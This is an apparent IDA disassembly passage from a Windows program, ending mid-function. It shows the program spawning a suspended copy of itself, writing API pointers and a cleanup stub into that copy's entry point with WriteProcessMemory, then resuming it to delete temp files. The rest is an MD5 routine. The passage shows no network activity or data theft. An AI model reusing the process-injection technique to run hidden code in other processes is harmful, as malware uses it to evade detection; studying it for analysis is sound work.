loc_507132: ; CODE XREF: sub_5061E1+C3j
; sub_5061E1+145j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_5061E1
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_507141 proc near ; CODE XREF: sub_50AA24+15p
; sub_50AA5E+43p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push [ebp+arg_0]
mov ecx, ds:dword_51194C
call sub_50B871
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_5071BD
mov edi, [ebp+var_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_8], ecx
mov eax, [ebp+arg_8]
cmp eax, [ebp+var_8]
jbe short loc_507199
mov ecx, [ebp+var_8]
inc ecx
mov esi, [ebp+var_4]
mov edi, [ebp+arg_4]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_8]
mov [eax], ecx
jmp short loc_5071B8
; ---------------------------------------------------------------------------
loc_507199: ; CODE XREF: sub_507141+34j
mov ecx, [ebp+arg_8]
mov esi, [ebp+var_4]
mov edi, [ebp+arg_4]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_8]
mov [eax], ecx
loc_5071B8: ; CODE XREF: sub_507141+56j
push 1
pop eax
jmp short loc_5071BF
; ---------------------------------------------------------------------------
loc_5071BD: ; CODE XREF: sub_507141+1Cj
xor eax, eax
loc_5071BF: ; CODE XREF: sub_507141+7Aj
pop edi
pop esi
leave
retn
sub_507141 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5071C3 proc near ; CODE XREF: sub_50A0C8+42p
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E4E8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 80h
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_78], 0
and [ebp+var_74], 0
and [ebp+var_70], 0
xor eax, eax
lea edi, [ebp+var_6C]
stosd
and [ebp+var_60], 0
push 10h
pop ecx
xor eax, eax
lea edi, [ebp+var_5C]
rep stosd
call ds:dword_5116E4 ; GetCurrentProcess
mov [ebp+var_68], eax
mov [ebp+var_64], offset dword_4FD720
and [ebp+var_1C], 0
cmp ds:dword_511958, 0
jz loc_507324
and [ebp+var_4], 0
push 105h
call sub_50835A
pop ecx
mov [ebp+var_8C], eax
mov eax, [ebp+var_8C]
mov [ebp+var_78], eax
push 50h
call sub_50835A
pop ecx
mov [ebp+var_90], eax
mov eax, [ebp+var_90]
mov [ebp+var_74], eax
push 41h
pop ecx
xor eax, eax
mov edi, [ebp+var_78]
rep stosd
stosb
push 104h
push [ebp+var_78]
push 0
call ds:dword_511718 ; GetModuleHandleA
push eax
call ds:dword_511714 ; GetModuleFileNameA
mov [ebp+var_60], 44h
lea eax, [ebp+var_88]
push eax
lea eax, [ebp+var_60]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push [ebp+var_78]
call ds:dword_5116B8 ; CreateProcessA
test eax, eax
jnz short loc_5072BD
mov ecx, 0EF000015h
call sub_508342
loc_5072BD: ; CODE XREF: sub_5071C3+EEj
call ds:dword_5116E8 ; GetCurrentProcessId
push eax
push [ebp+var_88]
call sub_507494
pop ecx
pop ecx
push [ebp+var_84]
call ds:dword_50E024 ; ResumeThread
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_507324
; ---------------------------------------------------------------------------
mov eax, [ebp+var_14]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_94], eax
cmp [ebp+var_94], 0EF000015h
jnz short loc_507308
mov [ebp+var_98], 1
jmp short loc_507316
; ---------------------------------------------------------------------------
loc_507308: ; CODE XREF: sub_5071C3+137j
push [ebp+var_14]
call sub_508C27
mov [ebp+var_98], eax
loc_507316: ; CODE XREF: sub_5071C3+143j
mov eax, [ebp+var_98]
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
loc_507324: ; CODE XREF: sub_5071C3+66j
; sub_5071C3+11Ej
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_5071C3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_507333 proc near ; CODE XREF: sub_507482+Bp
; DATA XREF: sub_507482+6o ...
var_24C = byte ptr -24Ch
var_220 = byte ptr -220h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
push ebp
mov ebp, esp
sub esp, 24Ch
push edi
and [ebp+var_108], 0
push ds:dword_511920
push 0
push 1F0FFFh
call ds:dword_511994
mov ds:dword_511948, eax
cmp ds:dword_511948, 0
jz short loc_5073A4
loc_507365: ; CODE XREF: sub_507333+63j
lea eax, [ebp+var_108]
push eax
push ds:dword_511948
call ds:dword_511988
test eax, eax
jz short loc_507398
cmp [ebp+var_108], 103h
jnz short loc_507398
push 0FFFFFFFFh
push ds:dword_511948
call ds:dword_51198C
jmp short loc_507365
; ---------------------------------------------------------------------------
loc_507398: ; CODE XREF: sub_507333+47j
; sub_507333+53j
push ds:dword_511948
call ds:dword_51199C
loc_5073A4: ; CODE XREF: sub_507333+30j
or [ebp+var_10C], 0FFFFFFFFh
and [ebp+var_104], 0
push 40h
pop ecx
xor eax, eax
lea edi, [ebp+var_103]
rep stosd
stosw
stosb
lea eax, [ebp+var_104]
push eax
push 104h
call ds:dword_511970
lea eax, [ebp+var_104]
push eax
call ds:dword_511974
lea eax, [ebp+var_104]
push eax
push 104h
call ds:dword_511978
push 64h
call ds:dword_511998
loc_5073FB: ; CODE XREF: sub_507333+124j
lea eax, [ebp+var_24C]
push eax
push offset dword_5119A0
call ds:dword_51197C
mov [ebp+var_10C], eax
cmp [ebp+var_10C], 0FFFFFFFFh
jz short loc_507459
lea eax, [ebp+var_220]
push eax
call ds:dword_511980
test eax, eax
jnz short loc_50744B
push 1F4h
call ds:dword_511998
lea eax, [ebp+var_220]
push eax
call ds:dword_511980
test eax, eax
jnz short loc_50744B
jmp short loc_507478
; ---------------------------------------------------------------------------
loc_50744B: ; CODE XREF: sub_507333+F8j
; sub_507333+114j
push [ebp+var_10C]
call ds:dword_511984
jmp short loc_5073FB
; ---------------------------------------------------------------------------
loc_507459: ; CODE XREF: sub_507333+E7j
; sub_507333:loc_507478j
cmp [ebp+var_10C], 0FFFFFFFFh
jz short loc_50746E
push [ebp+var_10C]
call ds:dword_511984
loc_50746E: ; CODE XREF: sub_507333+12Dj
push 0
call ds:dword_511990
jmp short loc_50747A
; ---------------------------------------------------------------------------
loc_507478: ; CODE XREF: sub_507333+116j
jmp short loc_507459
; ---------------------------------------------------------------------------
loc_50747A: ; CODE XREF: sub_507333+143j
pop edi
leave
retn
sub_507333 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50747D proc near ; DATA XREF: sub_507494+2B6o
push ebp
mov ebp, esp
pop ebp
retn
sub_50747D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_507482 proc near ; DATA XREF: sub_507494+2EFo
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, offset sub_507333
call eax ; sub_507333
pop edi
pop esi
pop ebx
pop ebp
retn
sub_507482 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_507494 proc near ; CODE XREF: sub_5071C3+107p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push esi
push edi
push 0
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov ecx, [ebp+var_24]
add ecx, [eax+3Ch]
mov [ebp+var_20], ecx
mov eax, [ebp+arg_4]
mov ds:dword_511920, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511920
push offset dword_511920
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
push 20h
pop ecx
xor eax, eax
mov edi, offset dword_5119A0
rep stosd
call ds:dword_5116E8 ; GetCurrentProcessId
push eax
push offset aMbx@X@_ ; "MBX@%X@*.###"
push offset dword_5119A0
call ds:dword_5117D4 ; wsprintfA
add esp, 0Ch
lea eax, [ebp+var_14]
push eax
push 80h
push offset dword_5119A0
push offset dword_5119A0
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
mov esi, offset aKernel32_dll_0 ; "kernel32.dll"
lea edi, [ebp+var_10]
movsd
movsd
movsd
movsb
lea eax, [ebp+var_10]
push eax
push offset aGettemppatha ; "GetTempPathA"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_511970, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511970
push offset dword_511970
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aSetcurrentdire ; "SetCurrentDirectoryA"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_511974, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511974
push offset dword_511974
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aGetcurrentdire ; "GetCurrentDirectoryA"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_511978, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511978
push offset dword_511978
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aFindfirstfilea ; "FindFirstFileA"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_51197C, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_51197C
push offset dword_51197C
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aDeletefilea ; "DeleteFileA"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_511980, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511980
push offset dword_511980
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aFindclose ; "FindClose"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_511984, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511984
push offset dword_511984
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aGetexitcodepro ; "GetExitCodeProcess"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_511988, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511988
push offset dword_511988
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aWaitforsingleo ; "WaitForSingleObject"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_51198C, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_51198C
push offset dword_51198C
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aExitprocess ; "ExitProcess"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_511990, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511990
push offset dword_511990
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aOpenprocess ; "OpenProcess"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_511994, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511994
push offset dword_511994
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aSleep ; "Sleep"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_511998, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_511998
push offset dword_511998
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
lea eax, [ebp+var_10]
push eax
push offset aClosehandle ; "CloseHandle"
call sub_509D79
pop ecx
pop ecx
mov ds:dword_51199C, eax
lea eax, [ebp+var_14]
push eax
push 4
push offset dword_51199C
push offset dword_51199C
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
mov eax, offset sub_50747D
sub eax, offset sub_507333
mov [ebp+var_1C], eax
lea eax, [ebp+var_14]
push eax
push [ebp+var_1C]
push offset sub_507333
push offset sub_507333
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
mov eax, [ebp+var_20]
mov ecx, [ebp+var_24]
add ecx, [eax+28h]
mov [ebp+var_18], ecx
lea eax, [ebp+var_14]
push eax
push 20h
push offset sub_507482
push [ebp+var_18]
push [ebp+arg_0]
call ds:dword_50E028 ; WriteProcessMemory
pop edi
pop esi
leave
retn
sub_507494 endp
; =============== S U B R O U T I N E =======================================
sub_507798 proc near ; CODE XREF: _5:004FEECCp
; sub_503610+209p
push esi
mov esi, ecx
call sub_5079B1
mov eax, esi
pop esi
retn
sub_507798 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5077A4 proc near ; CODE XREF: sub_503610+21Dp
; sub_50785D+112p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
cmp byte ptr [ebx+68h], 0
jnz loc_507858
mov edx, [ebx+10h]
mov ecx, [ebp+arg_4]
push esi
mov eax, edx
mov esi, ecx
lea edx, [edx+ecx*8]
shr eax, 3
shl esi, 3
and eax, 3Fh
cmp edx, esi
push edi
mov [ebx+10h], edx
jnb short loc_5077D7
inc dword ptr [ebx+14h]
loc_5077D7: ; CODE XREF: sub_5077A4+2Ej
mov edx, ecx
push 40h
shr edx, 1Dh
add [ebx+14h], edx
pop edx
sub edx, eax
cmp ecx, edx
mov [ebp+var_4], edx
jb short loc_50783B
mov esi, [ebp+arg_0]
mov ecx, edx
lea edi, [eax+ebx+18h]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
lea eax, [ebx+18h]
and ecx, 3
push eax
rep movsb
mov ecx, ebx
call sub_5079D8
mov esi, [ebp+var_4]
lea eax, [esi+3Fh]
cmp eax, [ebp+arg_4]
jnb short loc_507834
mov edi, eax
loc_50781A: ; CODE XREF: sub_5077A4+8Ej
mov eax, [ebp+arg_0]
mov ecx, ebx
lea eax, [eax+edi-3Fh]
push eax
call sub_5079D8
add edi, 40h
add esi, 40h
cmp edi, [ebp+arg_4]
jb short loc_50781A
loc_507834: ; CODE XREF: sub_5077A4+72j
mov ecx, [ebp+arg_4]
xor eax, eax
jmp short loc_50783D
; ---------------------------------------------------------------------------
loc_50783B: ; CODE XREF: sub_5077A4+45j
xor esi, esi
loc_50783D: ; CODE XREF: sub_5077A4+95j
mov edx, [ebp+arg_0]
sub ecx, esi
lea edi, [eax+ebx+18h]
mov eax, ecx
add esi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
loc_507858: ; CODE XREF: sub_5077A4+Bj
pop ebx
leave
retn 8
sub_5077A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50785D proc near ; CODE XREF: sub_503610+22Fp
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_45 = byte ptr -45h
var_44 = byte ptr -44h
var_43 = byte ptr -43h
var_42 = byte ptr -42h
var_41 = byte ptr -41h
var_40 = byte ptr -40h
var_3F = byte ptr -3Fh
var_3E = byte ptr -3Eh
var_3D = byte ptr -3Dh
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
var_3A = byte ptr -3Ah
var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_36 = byte ptr -36h
var_35 = byte ptr -35h
var_34 = byte ptr -34h
var_33 = byte ptr -33h
var_32 = byte ptr -32h
var_31 = byte ptr -31h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = byte ptr -2Ah
var_29 = byte ptr -29h
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = byte ptr -26h
var_25 = byte ptr -25h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = byte ptr -22h
var_21 = byte ptr -21h
var_20 = byte ptr -20h
var_1F = byte ptr -1Fh
var_1E = byte ptr -1Eh
var_1D = byte ptr -1Dh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov [ebp+var_4], esi
cmp [esi+68h], bl
mov [ebp+var_4C], 80h
mov [ebp+var_4B], bl
mov [ebp+var_4A], bl
mov [ebp+var_49], bl
mov [ebp+var_48], bl
mov [ebp+var_47], bl
mov [ebp+var_46], bl
mov [ebp+var_45], bl
mov [ebp+var_44], bl
mov [ebp+var_43], bl
mov [ebp+var_42], bl
mov [ebp+var_41], bl
mov [ebp+var_40], bl
mov [ebp+var_3F], bl
mov [ebp+var_3E], bl
mov [ebp+var_3D], bl
mov [ebp+var_3C], bl
mov [ebp+var_3B], bl
mov [ebp+var_3A], bl
mov [ebp+var_39], bl
mov [ebp+var_38], bl
mov [ebp+var_37], bl
mov [ebp+var_36], bl
mov [ebp+var_35], bl
mov [ebp+var_34], bl
mov [ebp+var_33], bl
mov [ebp+var_32], bl
mov [ebp+var_31], bl
mov [ebp+var_30], bl
mov [ebp+var_2F], bl
mov [ebp+var_2E], bl
mov [ebp+var_2D], bl
mov [ebp+var_2C], bl
mov [ebp+var_2B], bl
mov [ebp+var_2A], bl
mov [ebp+var_29], bl
mov [ebp+var_28], bl
mov [ebp+var_27], bl
mov [ebp+var_26], bl
mov [ebp+var_25], bl
mov [ebp+var_24], bl
mov [ebp+var_23], bl
mov [ebp+var_22], bl
mov [ebp+var_21], bl
mov [ebp+var_20], bl
mov [ebp+var_1F], bl
mov [ebp+var_1E], bl
mov [ebp+var_1D], bl
mov [ebp+var_1C], bl
mov [ebp+var_1B], bl
mov [ebp+var_1A], bl
mov [ebp+var_19], bl
mov [ebp+var_18], bl
mov [ebp+var_17], bl
mov [ebp+var_16], bl
mov [ebp+var_15], bl
mov [ebp+var_14], bl
mov [ebp+var_13], bl
mov [ebp+var_12], bl
mov [ebp+var_11], bl
mov [ebp+var_10], bl
mov [ebp+var_F], bl
mov [ebp+var_E], bl
mov [ebp+var_D], bl
jz short loc_507943
mov edi, [ebp+arg_0]
cmp edi, ebx
jz short loc_5079AA
add esi, 58h
movsd
movsd
movsd
movsd
jmp short loc_5079AA
; ---------------------------------------------------------------------------
loc_507943: ; CODE XREF: sub_50785D+D4j
lea edi, [esi+10h]
push 8
lea eax, [ebp+var_C]
push edi
push eax
mov ecx, esi
call sub_5082B3
mov eax, [edi]
push 38h
shr eax, 3
and eax, 3Fh
pop ecx
cmp eax, ecx
jb short loc_507966
push 78h
pop ecx
loc_507966: ; CODE XREF: sub_50785D+104j
sub ecx, eax
lea eax, [ebp+var_4C]
push ecx
push eax
mov ecx, esi
call sub_5077A4
lea eax, [ebp+var_C]
push 8
push eax
mov ecx, esi
call sub_5077A4
lea edi, [esi+58h]
push 10h
push esi
push edi
mov ecx, esi
call sub_5082B3
cmp [ebp+arg_0], ebx
jz short loc_5079A0
mov esi, edi
mov edi, [ebp+arg_0]
movsd
movsd
movsd
movsd
mov esi, [ebp+var_4]
loc_5079A0: ; CODE XREF: sub_50785D+135j
xor eax, eax
lea edi, [esi+18h]
stosb
mov byte ptr [esi+68h], 1
loc_5079AA: ; CODE XREF: sub_50785D+DBj
; sub_50785D+E4j
pop edi
pop esi
pop ebx
leave
retn 4
sub_50785D endp
; =============== S U B R O U T I N E =======================================
sub_5079B1 proc near ; CODE XREF: sub_507798+3p
xor eax, eax
mov dword ptr [ecx], 67452301h
mov [ecx+68h], al
mov [ecx+10h], eax
mov [ecx+14h], eax
mov dword ptr [ecx+4], 0EFCDAB89h
mov dword ptr [ecx+8], 98BADCFEh
mov dword ptr [ecx+0Ch], 10325476h
retn
sub_5079B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5079D8 proc near ; CODE XREF: sub_5077A4+64p
; sub_5077A4+80p
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 50h
push ebx
push esi
mov esi, ecx
push edi
push 40h
mov eax, [esi]
push [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [esi+4]
mov [ebp+var_8], eax
mov eax, [esi+8]
mov [ebp+var_C], eax
mov eax, [esi+0Ch]
mov [ebp+var_10], eax
lea eax, [ebp+var_50]
push eax
call sub_5082FA
mov edi, [ebp+var_8]
mov ebx, [ebp+var_C]
mov eax, edi
mov ecx, ebx
not eax
and eax, [ebp+var_10]
and ecx, edi
mov edx, edi
or eax, ecx
mov ecx, [ebp+var_4]
add eax, [ebp+var_50]
lea ecx, [ecx+eax-28955B88h]
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [ebp+var_10]
add ecx, [ebp+var_4C]
lea edx, [edx+ecx-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
not edx
and edx, edi
mov edi, ecx
and edi, eax
or edx, edi
add edx, [ebp+var_48]
lea edx, [ebx+edx+242070DBh]
mov ebx, ecx
mov edi, edx
shr edi, 0Fh
shl edx, 11h
or edi, edx
add edi, ecx
mov edx, edi
and ebx, edi
not edx
and edx, eax
mov [ebp+var_C], edi
or edx, ebx
mov ebx, [ebp+var_8]
add edx, [ebp+var_44]
lea ebx, [ebx+edx-3E423112h]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
add edx, edi
mov ebx, edx
and edi, edx
not ebx
and ebx, ecx
or ebx, edi
add ebx, [ebp+var_40]
lea eax, [eax+ebx-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
mov eax, edx
add edi, edx
mov [ebp+var_4], edi
and eax, [ebp+var_4]
not edi
and edi, [ebp+var_C]
or edi, eax
add edi, [ebp+var_3C]
lea ecx, [ecx+edi+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, [ebp+var_4]
mov ecx, eax
mov edi, eax
and edi, [ebp+var_4]
mov ebx, eax
not ecx
and ecx, edx
or ecx, edi
mov edi, [ebp+var_C]
add ecx, [ebp+var_38]
lea edi, [edi+ecx-57CFB9EDh]
mov ecx, edi
shr ecx, 0Fh
shl edi, 11h
or ecx, edi
add ecx, eax
mov edi, ecx
and ebx, ecx
not edi
and edi, [ebp+var_4]
or edi, ebx
mov ebx, ecx
add edi, [ebp+var_34]
lea edx, [edx+edi-2B96AFFh]
mov edi, edx
shl edi, 16h
shr edx, 0Ah
or edi, edx
add edi, ecx
mov edx, edi
and ebx, edi
not edx
and edx, eax
mov [ebp+var_8], edi
or edx, ebx
mov ebx, [ebp+var_4]
add edx, [ebp+var_30]
lea ebx, [ebx+edx+698098D8h]
mov edx, ebx
shr edx, 19h
shl ebx, 7
or edx, ebx
add edx, edi
mov ebx, edx
and edi, edx
not ebx
and ebx, ecx
or ebx, edi
add ebx, [ebp+var_2C]
lea eax, [eax+ebx-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
mov ebx, edi
not eax
and eax, [ebp+var_8]
and ebx, edx
or eax, ebx
add eax, [ebp+var_28]
lea ecx, [ecx+eax-0A44Fh]
mov ebx, ecx
shr ebx, 0Fh
shl ecx, 11h
or ebx, ecx
mov ecx, edi
add ebx, edi
mov eax, ebx
and ecx, ebx
not eax
and eax, edx
mov [ebp+var_C], ebx
or eax, ecx
mov ecx, [ebp+var_8]
add eax, [ebp+var_24]
lea ecx, [ecx+eax-76A32842h]
mov eax, ecx
shl eax, 16h
shr ecx, 0Ah
or eax, ecx
add eax, ebx
mov ecx, eax
and ebx, eax
not ecx
and ecx, edi
or ecx, ebx
add ecx, [ebp+var_20]
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
mov edx, eax
add ecx, eax
mov [ebp+var_4], ecx
and edx, [ebp+var_4]
not ecx
and ecx, [ebp+var_C]
or ecx, edx
add ecx, [ebp+var_1C]
lea edi, [edi+ecx-2678E6Dh]
mov ecx, edi
shr ecx, 14h
shl edi, 0Ch
or ecx, edi
add ecx, [ebp+var_4]
mov [ebp+arg_0], ecx
mov edi, ecx
not [ebp+arg_0]
mov edx, [ebp+arg_0]
and edi, [ebp+var_4]
and edx, eax
mov ebx, ecx
or edx, edi
mov edi, [ebp+var_C]
add edx, [ebp+var_18]
lea edi, [edi+edx-5986BC72h]
mov edx, edi
shr edx, 0Fh
shl edi, 11h
or edx, edi
add edx, ecx
mov [ebp+var_10], edx
and ebx, edx
not [ebp+var_10]
mov edi, [ebp+var_10]
and edi, [ebp+var_4]
or edi, ebx
mov ebx, ecx
add edi, [ebp+var_14]
lea eax, [eax+edi+49B40821h]
mov edi, eax
shl edi, 16h
shr eax, 0Ah
or edi, eax
mov eax, [ebp+arg_0]
add edi, edx
and eax, edx
and ebx, edi
or eax, ebx
mov ebx, [ebp+var_4]
add eax, [ebp+var_4C]
lea eax, [ebx+eax-9E1DA9Eh]
mov ebx, eax
shr ebx, 1Bh
shl eax, 5
or ebx, eax
mov eax, [ebp+var_10]
and eax, edi
add ebx, edi
mov [ebp+arg_0], eax
mov eax, edx
and eax, ebx
mov [ebp+var_4], ebx
mov ebx, eax
mov eax, [ebp+arg_0]
or eax, ebx
add eax, [ebp+var_38]
lea ecx, [ecx+eax-3FBF4CC0h]
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
mov ecx, edi
add eax, [ebp+var_4]
not ecx
and ecx, [ebp+var_4]
mov ebx, eax
and ebx, edi
or ecx, ebx
add ecx, [ebp+var_24]
lea edx, [edx+ecx+265E5A51h]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, [ebp+var_4]
add ecx, eax
mov [ebp+var_C], ecx
and ecx, [ebp+var_4]
not edx
and edx, eax
mov ebx, [ebp+var_C]
or edx, ecx
add edx, [ebp+var_50]
lea edi, [edi+edx-16493856h]
mov edx, eax
mov ecx, edi
shl ecx, 14h
shr edi, 0Ch
or ecx, edi
mov edi, eax
add ecx, ebx
not edx
and edx, ebx
and edi, ecx
or edx, edi
mov edi, [ebp+var_4]
add edx, [ebp+var_3C]
lea edx, [edi+edx-29D0EFA3h]
mov edi, edx
shr edi, 1Bh
shl edx, 5
or edi, edx
mov edx, ebx
add edi, ecx
mov [ebp+var_4], edi
mov edi, ebx
and edi, [ebp+var_4]
not edx
and edx, ecx
or edx, edi
add edx, [ebp+var_28]
lea eax, [eax+edx+2441453h]
mov edx, eax
shr edx, 17h
shl eax, 9
or edx, eax
mov eax, ecx
add edx, [ebp+var_4]
not eax
and eax, [ebp+var_4]
mov edi, edx
and edi, ecx
or eax, edi
add eax, [ebp+var_14]
lea edi, [ebx+eax-275E197Fh]
mov eax, edi
shr eax, 12h
shl edi, 0Eh
or eax, edi
mov edi, [ebp+var_4]
add eax, edx
mov ebx, eax
and ebx, [ebp+var_4]
